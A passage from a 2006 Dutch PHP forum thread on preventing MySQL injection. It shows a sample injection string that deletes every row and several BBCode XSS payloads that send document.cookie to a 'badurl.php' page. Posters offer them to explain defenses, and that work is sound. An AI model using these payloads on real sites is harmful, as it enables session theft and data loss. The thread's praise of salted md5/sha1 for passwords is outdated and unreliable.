MySQL injection

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Laravel Developer

Functie omschrijving Voor een gave organisatie in de buurt van Den Bosch zoek ik een PHP developer. Het is van belang dat je kennis/ervaring hebt met het framework Laravel. Jij gaat in deze functie software applicaties ontwikkelen. Deze software projecten zijn heel divers, en deze organisatie maakt software, van A tot Z. Klanten kunnen in elke sector werkzaam zijn, van profit tot non-profit. Andere taken zijn onder andere: documentatie schrijven over applicaties/uitleg geven over software en applicaties/ klantcontact over bestaande applicaties/applicaties optimaliseren. Bedrijfsprofiel Deze organisatie zit in de regio van Den Bosch en is een klein bedrijf. Er werken circa

Bekijk vacature »

C#.NET Developer

Functieomschrijving We are looking for a dutch native speaker In deze uitdagende functie ga je werken als onderdeel van het development team, in de functie van C#.NET Developer, Je gaat maatwerk software bouwen voor diverse klanten. Ook optimaliseer je bestaande software en bouw je API koppelingen. Je bent vooral met back-end development bezig. Je krijgt veel vrijheid in deze functie en je krijgt de kans om mee te denken in bedrijfsprocessen. Deels thuiswerken is geen enkel probleem! Bedrijfsprofiel Deze organisatie is gevestigd in de regio van Boxtel. Het is van oorsprong een familiebedrijf, die gestart zijn met het bouwen van

Bekijk vacature »

Back-end .NET Developer

Functie omschrijving C# / .NET Developer gezocht voor een dynamische organisatie in de regio Houten! Voor een leuke organisatie in de regio Houten zijn wij op zoek naar een Back-end developer die klaar is voor een nieuwe uitdaging. In deze functie werk jij aan verschillende projecten en ga je vaak bij klanten op bezoek. Binnen deze functie kun je een grote mate van uitdaging, diversiteit en verantwoordelijkheid treffen. Bedrijfsprofiel Waar ga je werken? Het bedrijf waar je gaat werken is gespecialiseerd in het ontwerpen en implementeren van procesautomatisering en procesinformatisering. Zij doen dit onder andere voor de (petro)chemie, pharma, infra,

Bekijk vacature »

Senior Front end developer Digital Agency

Functie Jij als Front end developer komt te werken in een van de 8 multidisciplinaire teams binnen de organisatie. Deze teams werken op basis van Scrum agile in 2 wekelijkse sprints. De grootte van de teams varieert van 9-14 collega’s en bestaan altijd uit één of meerdere project managers en een project manager. Samen met je team werk je aan verschillende projecten voor uiteenlopende klanten zoals grote multinationals tot het kleine mkb. De stack waarmee gewerkt wordt is voornamelijk Javascript, ES6, Es.next, HTML, CSS, React.js en Node.js. Wat deze organisatie onderscheid is dat ze echt langdurige partnerships aangaan met hun

Bekijk vacature »

Developer Angular & Kotlin

Dit ga je doen Het (door)ontwikkelen van mobiele apps en webapplicaties; Het opstellen van technisch ontwerp en het bespreken van ontwerpen met de software architect; Het uitvoeren van werkzaamheden op het gebied van technisch testen; Het in de gaten houden van nieuwe ontwikkelingen op jouw vakgebied en het adviseren van de organisatie hierover. Hier ga je werken Het gaat om een bekend internationaal handelsbedrijf met ruim 800 medewerkers, verdeeld over verschillende deelbedrijven. Deze organisatie is van oorsprong een familiebedrijf, er wordt hard gewerkt, er heerst een no nonsense en doeners mentaliteit, een informele sfeer en er is een mix van

Bekijk vacature »

Digital Agency is looking for PHP developers!

Functie The team currently has 20 colleagues, consisting of developers (front and backend) and the operations team, which also includes management and two scrum masters. They are looking for a PHP developer who is able to work independently. You will work in one of the three scrum teams and start working on a project for the customer. The interesting thing about this is that you do have variety in terms of work, but at the same time continuously work for existing customers. This also gives you the opportunity to really go into depth and develop innovative technical solutions. In terms

Bekijk vacature »

Software Programmeur

Functie omschrijving Ben jij op zoek naar een organisatie waar je samen met een team werkt aan iets moois en waar je naast hard werken ook hard kunt lachen? Dan ben je hier aan het juiste adres! Voor een informeel IT-bedrijf in omgeving Wassenaar zijn wij op zoek naar versterking. Ben jij op zoek naar een nieuwe uitdaging als Software Programmeur lees dan snel verder! Werkzaamheden Programmeur Je bent bezig met het ontwikkelen van software en webapplicaties. Je kunt technische klussen uitvoeren op locatie. Je onderhoudt contact met de projectleider om er zeker van te zijn dat een project goed

Bekijk vacature »

Database Developer

Functieomschrijving Heb jij ongeveer 3 jaar ervaring als Database Developer met MS SQL of een vergelijkbare database? Wil jij werken voor een ambitieuze werkgever in regio Tilburg waar jij volledig de mogelijkheid krijgt jezelf te ontwikkelen? Lees dan snel verder! Hoe ziet jouw takenpakket eruit? Je gaat projecten gedurende het hele proces begeleiden. Je sluit aan bij afspraken met klanten om hun processen helder te krijgen. Vervolgens voer jij het project uit en zorgt dat dit zo goed mogelijk verloopt; Je werkt aan nieuwe softwareoplossingen die de logistieke processen verbeteren of vernieuwen; Je houdt je bezig met het ontwikkelen van

Bekijk vacature »

Junior PHP Developer

Je maakt een vliegende start van je carrière, door meteen mee te bouwen aan de digitale aspecten van Coolblue. Wat doe je als Junior PHP Developer bij Coolblue? Als Junior PHP Developer ben je meteen vanaf de start onderdeel van een development team. Je kijkt veel mee met collega’s en volgt trainingen om te groeien als Junior Developer. Op dat moment komt je wil om steeds te blijven leren naar boven. Daarnaast pak je in de sprints ook je eigen stories op om Coolblue iedere dag een beetje beter te kunnen maken. Je sterk analytisch vermogen komt dan ook goed

Bekijk vacature »

.NET developer

Functie Als ervaren .NET ontwikkelaar start jij in één van onze vier scrumteams. Met 30 ontwikkelaars werk jij aan de doorontwikkeling van ons core product. Ook werkt jouw team aan maatwerkoplossingen op aanvraag van de klant en op projectbasis. Wij vinden het erg belangrijk dat onze ontwikkelaars met plezier naar werk gaan. Een deel hiervan ligt uiteraard bij jezelf, als jij ontwikkelen niet leuk vindt, ben jij bij ons echt aan het verkeerde adres. Jouw team bestaat namelijk uit een groep gepassioneerde vakidioten die dit werk doen omdat dit eerst een hobby was! Daarnaast wordt er intern rekening gehouden met

Bekijk vacature »

PHP Developer

Zie jij mogelijkheden om onze tooling technisch te verbeteren en uit te bouwen? Over Jobmatix Jobmatix is een innovatieve en internationale speler op het gebied van jobmarketing. Onze jobmarketing automation tool helpt organisaties bij het aantrekken van nieuw talent door vacatures digitaal, geautomatiseerd en op een efficiënte manier te adverteren en onder de aandacht te brengen bij de doelgroep op 25+ jobboards. Volledig performance-based, waarbij organisaties betalen op basis van cost per click of cost per applicant. Maandelijks wordt onze jobmarketing automation tool al gebruikt door vele directe werkgevers, intermediairs en mediabureaus, waaronder Picnic, Rijkswaterstaat, AdverOnline, Schiphol, DPA, Teleperformance en

Bekijk vacature »

Junior Software Developer C# Verhuursector Verhuur

Samengevat: Wij ontwikkelen en leveren softwaresystemen voor de logistieke sector en de verhuursector. Ben jij geschikt als Junior Software Developer? Heb je ervaring met Delphi? Vaste baan: C# Software Developer Logistiek HBO €2.500 - €3.900 Deze werkgever is een software ontwikkelaar, gericht op software voor de logistieke sector. Deze werkgever heeft eigen producten ontwikkelen en leveren ook maatwerk. Ons bedrijf kent een boeiende en inspirerende werkomgeving met een open cultuur en mogelijkheden voor je verdere ontwikkeling. Bij bij hun werk je aan onze eigen bedrijfsapplicaties. Je ontwikkelt met ons de meest nieuwe software. Wij blinken uit als het gaat om

Bekijk vacature »

Medior/Senior Front-end Developers gezocht (Utrech

Functie Het team bestaat uit 10+ gespecialiseerde (veel senior) front-end ontwikkelaars en ontwerpers die werken aan projecten voor klanten van verschillende groottes (kan twee jaar bezig zijn met 1 klant). Je helpt klanten met ingewikkelde front-end vraagstukken, hierbij kun je denken aan: UX/UI design, CI/CD, architectuur en integratie met back-end systemen. De werkzaamheden verricht je op locatie bij de klant, dit is vaak in de Randstad. De organisatiestructuur is plat en er heerst een informele sfeer, zo kun je met vragen dus terecht bij de directie. Er wordt veel nadruk gelegd op het bevorderen van persoonlijke ontwikkeling door middel van

Bekijk vacature »

Ontwikkelaar Identity & Access Management

Dit ga je doen Als Identity & Access Management Ontwikkelaar zorg jij er voor dat studenten, medewerkers en docenten de juiste benodigdheden op het juiste moment kunnen gebruiken; Het juist opslaan van onderzoeksdata en het openbaar beschikbaar stellen van publicaties (Open Access); Studenten, collega's en wetenschappers ondersteunen; Agile en Scrum werken; Technisch Applicatiebeheer; Ontwikkelen in One Identity Manager en VB.NET. Hier ga je werken Als Ontwikkelaar kom je terecht in een hecht team die zich richt op wetenschappelijke informatie en ICT. Jij bent degene die er voor zorgt dat alle informatie, uit diverse onderzoeken, bij de juiste personen terecht komt.

Bekijk vacature »

Java Programmeur

Functie Heb jij altijd al samen willen werken met ervaren java ontwikkelaars dan hebben wij hier de ultieme kans voor jou! Voor een opdrachtgever in omgeving van Naaldwijk zijn wij op zoek naar uitbreiding van het vaste ontwikkel team. Je zult je hier voornamelijk bezig gaan houden met; Wijzigingsverzoeken van klanten uitvoeren, hier wordt je diep in betrokken; Samen met consultants sluit je aan bij gesprekken met klanten, voor alle projecten; Je schakelt veel met consultants, wat is de behoefte van de klant? Hoe kan je hierop integreren?; Het framework moet naar de Cloud gebracht worden, je wordt betrokken bij

Bekijk vacature »

Pagina: « vorige 1 2

PHP Newbie

PHP Newbie

30/08/2006 21:32:00
Quote Anchor link
Aha, oki.

Alleen gebruik ik altijd limit = 1, dan wordt er maar 1 record verwijderd. Nog niet lekker, maar het beperkt de schade.

En wat kan er dan verkeerd gaan in een INSERT querie
 
PHP hulp

PHP hulp

18/11/2024 03:24:42
 
Jan Koehoorn

Jan Koehoorn

30/08/2006 21:42:00
Quote Anchor link
Frank:
Quote:
klopt het dat men daarmee dan ook wachtwoorden kan achterhalen
Wanneer jij md5 of sha1 gebruikt (met een salt) dan is dit vrijwel onmogelijk. Doe je dat niet, dan ben je stom bezig en moet je niet zeuren dat de boel gejat is...

SQL-injection betekent dat er stukken SQL in jouw database worden geinjecteerd die er niet thuis horen. Het wordt dus door de gebruiker in de query gezet en niet door de programmeur.

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
DELETE FROM tabelnaam WHERE id = $_POST['id'];

Jij verwacht dat $_POST['id'] bv. de waarde 23 heeft, maar wat als een grappenmaker daar van maakt:
23 or id > 0
De query die naar de database wordt gestuurd, komt er dan alsvolgt uit te zien:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
DELETE FROM tabelnaam WHERE id = 23 or id > 0;

1x raden wat er gebeurd... Alle records in de tabel 'tabelnaam' worden weggegooid!

In dit voorbeeld heb je trouwens weinig aan mysql_real_escape_string. Om MySQL injection tegen te gaan moet je twee dingen in de gaten houden.

1) In het gedeelte in de WHERE altijd quotes gebruiken in combinatie met mysql_real_escape_string

2) Als in het WHERE gedeelte een INT gebruikt wordt zodat je niet met quotes kunt werken (zoals in dit voorbeeld van Frank) checken met is_numeric of de ingevoerde waarde wel een getal is.
 
Klaasjan Boven

Klaasjan Boven

30/08/2006 22:07:00
Quote Anchor link
En ik kan dat artikel niet vinden maar op www.phpFreakz.nl staat een briljant artikel over injection zeker icm css

EDIT:
http://www.phpfreakz.nl/artikelen.php?aid=106
Gewijzigd op 01/01/1970 01:00:00 door Klaasjan Boven
 
Frank -

Frank -

30/08/2006 22:48:00
Quote Anchor link
Om SQL-injection tegen te gaan, is er maar 1 methode: Hou alles tegen, tenzij JIJ het hebt goedgekeurd.

Waardes uit een GET moeten nummeriek zijn, voorkomen in een array met goedgekeurde waardes, een md5-string van 32 karakters (hexadecimaal) of een sha1-string van 40 karakters (hex).

Voor zoekresultaten kun je nog iets anders te werk gaan, maar ook hier alleen datgene toestaan, wat JIJ wilt toestaan.

Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...

Met regular expressions zijn ook een hoop problemen te voorkomen, je kunt van alles en nog wat gaan controleren.

Een andere tip, is het gebruik van een betere database die het gebruik van eigen functies ondersteund en waarbij je op user-niveau kunt aangeven welke functies een gebruiker wel en niet kan gebruiken. Een functie waarbij gegevens worden verwijderd, is bv. niet toegankelijk voor gebruiker X. Ook met MySQL zijn beperkte mogelijkheden om de boel te beveiligen, zorg er voor dat niemand (behalve de DBA) tabellen kan aanmaken, verwijderen of records kan verwijderen. Wanneer een gebruiker iets wil verwijderen, doe dan een UPDATE waarmee je aangeeft dat een record niet meer mag worden getoond. De DBA, of een cronjob, schoont dan eens in de zoveel tijd de database wel op.

En omdat een database wel enige honderden miljoenen records kan bevatten, zal dat echt geen probleem zijn. Mocht het toch een probleem worden, dan heb je een succesvolle website/applicatie gebouwd. Verkoop dan de hele zooi en vertrek met een enkele reis naar bv. de Bahama's. Probleem ook weer opgelost. ;)
 
Jelmer -

Jelmer -

30/08/2006 23:00:00
Quote Anchor link
Quote:
Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...

Mag ik wel even opmerken dat waneer je <p/> toelaat, striptags() ook niet zal tegenstribbelen bij <p onmouseover="alert(document.cookie)"/>. Waarbij alert() dan een meganisme is om de inhoud van document.cookie ergens achter te laten.

En met UBB ben je standaard ook nog niet veilig. Probeer dezen maar eens. (hopelijk is dit tegenwoordig op PHPhulp opgelost)
Bij links is het ook leuk. Zo is bijvoorbeeld dit nog maar al te vaak mogelijk:
[url=http://paashaas.nl" onclick="document.location.href='badurl.php?cookie='+document.cookie; return false]Ga naar paashaas.nl[/url]

Of wat dacht je van plaatjes, mogelijkheden genoeg!
[img]bestaatniet.jpg" onerror="document.location.href='badurl.php?cookie='+document.cookie[/img]

Maar ook:
[img]javascript:document.location.href='badurl.php?cookie='+document.cookie[/img]. Dat zal internet explorer zonder problemen toelaten.
En zo zijn er nog wel wat mogelijkheden.
 

30/08/2006 23:20:00
Quote Anchor link
Met PHP5 'hoef je niet meer te escsape' als je gebruik maakt van MySQLi.
Voorbeeldje hieronder (uit Upgrading to PHP5):
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$username
= 'rasmus';
$password = 'zegiklekkerniet';
$zipcode = '2922AA';

$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{

  mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
  mysqli_stmt_execute($stmt);
}

?>

Zou er binnenkort eens tutorial over posten want deze methodes hebben zeker af en toe voordeel.
 
CB2thephp

CB2thephp

30/08/2006 23:21:00
Quote Anchor link
Wat ik heb geleerd om alle beveiligings fouten tegen te houden is:

-Indentificeer je input
#Gebruik isset etc.
-Check altijd de input
#Hiervoor kun je regular expressions gebruiken. Lengte checken als je bepaalde lengte hebt etc.
-Zorg ervoor dat je het verschil tussen gecheckte waarde en niet gecheckte weet.
#Kijk goed welke gecheckt is en welke niet.
-Escape input
#addslashes, maar het beste voor mysql is toch mysql_real_escape_string()
-In de database ermee.
-Als het uit de database komt escape output
#htmlentities gebruiken.

Ziezo dat moet je een goede informatie geven over hoe je het beste kunt beveiligen. Er is natuurlijk meer, maar de meeste komen al niet meer verder dan hier dus.

Groeten,
Christian Bolster
 
Arend a

Arend a

31/08/2006 00:02:00
Quote Anchor link
Ik gebruik altijd de code die de webmakerij ook gebruikt (dit is de methode die ook in DBI in perl zit). Alles wat nut heeft checken met regex, en de rest via


$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}

invoegen.

Het houd je code ook lekker overzichtelijk.
 
Klaasjan Boven

Klaasjan Boven

31/08/2006 07:54:00
Quote Anchor link
Mijn tip is gelijk aan een van de tips van Frank. Zet in ELKE tabel in je DB een kolom DATUM_EINDE. Hoef je nooit meer iets weg te gooien als iemand iets mag deleten, delete hij niet echt maar vult alleen de einddatum.
Houd je mooi je history en het is weer een stukje veiliger.
Uiteraard eindigt elke SELECT SQL wel met AND datum_einde=''
Gewijzigd op 01/01/1970 01:00:00 door Klaasjan Boven
 

31/08/2006 10:16:00
Quote Anchor link
en wat is een mysql injection ? ben dus nog een n00b in php :D
 
DeleteAll DeletelAll

DeleteAll DeletelAll

31/08/2006 10:53:00
Quote Anchor link
Hmm dankje, heb hier ook uit geleerd ;-)!
 
Klaasjan Boven

Klaasjan Boven

31/08/2006 11:27:00
Quote Anchor link
jeroen:
en wat is een mysql injection ? ben dus nog een n00b in php :D


Lees het artikel op PHPfreakz maar eens.
 

31/08/2006 13:18:00
Quote Anchor link
ah k thanks
 

31/08/2006 17:18:00
Quote Anchor link
sorry maar ik vind daar niks over mysql injection
 
Tri Pham

Tri Pham

02/09/2006 22:02:00
Quote Anchor link
Ik heb onlangs een artikel geschreven over SQL injections: http://www.scriptorama.nl/security/sql-crash-course-met-joomla

Het bekende open source pakket Joomla had een paar SQL injection bugs. Aan de hand van die bugs leg ik uit wat SQL injections zijn, hoe je de bugs kunt herkennen en hoe je ze kunt voorkomen. Een ander meer gluiperig SQL injection is hier te lezen:
http://www.scriptorama.nl/security/top-5-security-bugs-in-php-web-applicaties

Wellicht heb je er wat aan!
 

02/09/2006 22:08:00
Quote Anchor link
ah bedankt ik zal dit eens na lezen

:D
 

Pagina: « vorige 1 2



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.